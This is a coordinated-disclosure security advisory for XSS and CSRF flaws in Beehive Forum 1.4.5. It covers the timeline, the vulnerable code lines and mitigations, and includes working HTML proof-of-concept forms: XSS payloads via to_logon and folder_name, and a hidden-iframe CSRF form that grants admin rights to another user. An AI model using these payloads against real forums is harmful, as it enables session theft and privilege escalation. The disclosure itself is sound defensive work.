• Vulnerability: Multiple XSS and CSRF
  • Affected Software: Beehive Forum
  • Affected Version: 1.4.5 (probably also prior versions)
  • Patched Version: 1.4.6
  • Risk: Medium
  • Vendor Contacted: 2015-05-18
  • Vendor Fix: 2015-05-30
  • Public Disclosure: 2015-06-05

There are multiple XSS and CSRF vulnerabilities in Beehive Forum 1.4.5. Beehive Forum is open source forum software based on PHP.

XSS 1

There is a reflected XSS vulnerability via the POST argument to_logon in multiple places.

With reflected XSS it is possible to execute JavaScript in the context of the victims browser. This allows to bypass any CSRF protection, and thus to execute any action the victim can if they click on a link once. Additionally, it is possible to steal cookies, display the login page and log the entered data, or inject a javascript key logger.

POC

The vulnerability can be exploited in multiple locations:

<!--attack 1 -->
<form name="myform" action="http://localhost/beehiveforum145/forum/lpm_write.php" method="POST">
<input type="text" name="to_logon" value="<script>alert(1);</script>">
<input type="text" name="save" value="Save">
<input type="submit" value="Submit">
</form>
<script>document.myform.submit();</script>

<!--attack 2 -->
<form name="myform" action="http://localhost/beehiveforum145/forum/pm_write.php" method="POST">
<input type="text" name="to_logon" value="<script>alert(1);</script>">
<input type="text" name="preview" value="Preview">
<input type="submit" value="Submit">
</form>
<script>document.myform.submit();</script>

<!--attack 3 -->
<form name="myform" action="http://localhost/beehiveforum145/forum/post.php" method="POST">
<input type="text" name="to_logon" value="<script>alert(1);</script>">
<input type="submit" value="Submit">
</form>
<script>document.myform.submit();</script>

<!--attack 4 -->
<form name="myform" action="http://localhost/beehiveforum145/forum/lpost.php" method="POST">
<input type="text" name="to_logon" value="<script>alert(1);</script>">
<input type="submit" value="Submit">
</form>
<script>document.myform.submit();</script>

To hide the attack, an attacker could open the document in a hidden iframe.

Code

The vulnerable code is always the same and present in multiple files:

lpm_write.php:265
pm_write.php:275
post.php:454
lpost.php:351
    $error_msg_array[] = sprintf(gettext("User %s not found"), $to_logon);

Mitigation

Use htmlentities_array around $to_logon in each file.

XSS 2

Folders can be renamed, and after a rename, the user is redirected to a page where the new – unsanitized – folder name will be displayed. Additionally, the folder name is echoed in at least one other location.

This is a persistent XSS vulnerability, but in practice it behaves like a reflected XSS vulnerability via POST, because only the victim can save the vulnerable string to the database.

POC

<!-- simple attack, folder name is echoed right after changing it via redirect -->
<form name="myform" action="http://localhost/beehiveforum145/forum/pm_folders.php" method="POST">
<input type="text" name="folder_name" value="<script>alert(1);</script>">
<input type="text" name="manage_folder" value="1">
<input type="text" name="save" value="Save">
<input type="submit" value="Submit">
<script>document.myform.submit();</script>
</form>

And

<!-- attack second location where folder name is echoed-->
<!-- change folder name -->
<iframe id="myframe" style="display: none" name="myframe" src="about:blank"></iframe>
<form method="post" action="http://localhost/beehiveforum145/forum/pm_folders.php" target="myframe" id="myform" name="myform">
<input type="text" name="folder_name" value="<script>alert(1);</script>">
<input type="text" name="manage_folder" value="1">
<input type="text" name="save" value="Save">
<input type="submit" value="Submit" onClick="_submit_form();">
<script>document.myform.submit();</script>
<!-- go to where vulnerable folder name is echoed -->
<script>window.location.replace("http://localhost/beehiveforum145/forum/pm_messages.php?folder=1");</script>

Code

The folder name that is echoed after a redirect is echoed here: pm_folders.php:259 ($folder_name) and pm_folders.php:182 ($pm_folder_names_array[$manage_folder];)

Additionally, the name is also echoed unsanitized here:

   pm_messages.php:323
        echo "<h1>", gettext("Private Messages"), html_style_image('separator'), "{$folder_names_array[$current_folder]}</h1>\n";

Mitigation

Use htmlentities_array in all places around the folder name.

CSRF

There does not seem to be adequate CSRF protection anywhere. This means that as soon as an admin visits any webpage that contains attack code, it is possible to perform any action the admin can perform on their behalf, without their knowledge. The most obvious attack with this is privilege escalation, but other attacks might be sending out mass PMs or posting posts in the name of the admin, deleting posts, changing settings, or exploiting vulnerabilities in the admin area.

POC: Privilege Escalation

<iframe id="myframe" style="display:none" name="myframe" src="about:blank"></iframe>
<form method="post" action="http://localhost/beehiveforum145/forum/admin_user.php" target="myframe" id="myform" name="myform">
<input type="hidden" name="uid" value="2">
<input type="hidden" name="action" value="edit_details">
<input type="hidden" name="t_all_admin_tools" value="512">
<input type="hidden" name="t_all_forum_tools" value="1024">
<input type="hidden" name="t_all_folder_mod" value="256">
<input type="hidden" name="user_perm_submit" value="Save">
</form>
<script>document.myform.submit();</script>

Visiting the attacker controlled website with this code while logged in as admin will result in the user with the id 2 being given admin rights.

Code

All forms.

Mitigation

Use an anti-csrf token on all forms that change a critical state of the forum.

Timeline

  • 2015-05-18: Vendor Contacted
  • 2015-05-23: Vendor sends Fix asking for verification
  • 2015-05-24: Fix verified, further suggestions send
  • 2015-05-30: Vendor Releases Fix
  • 2015-06-05: Public Disclosure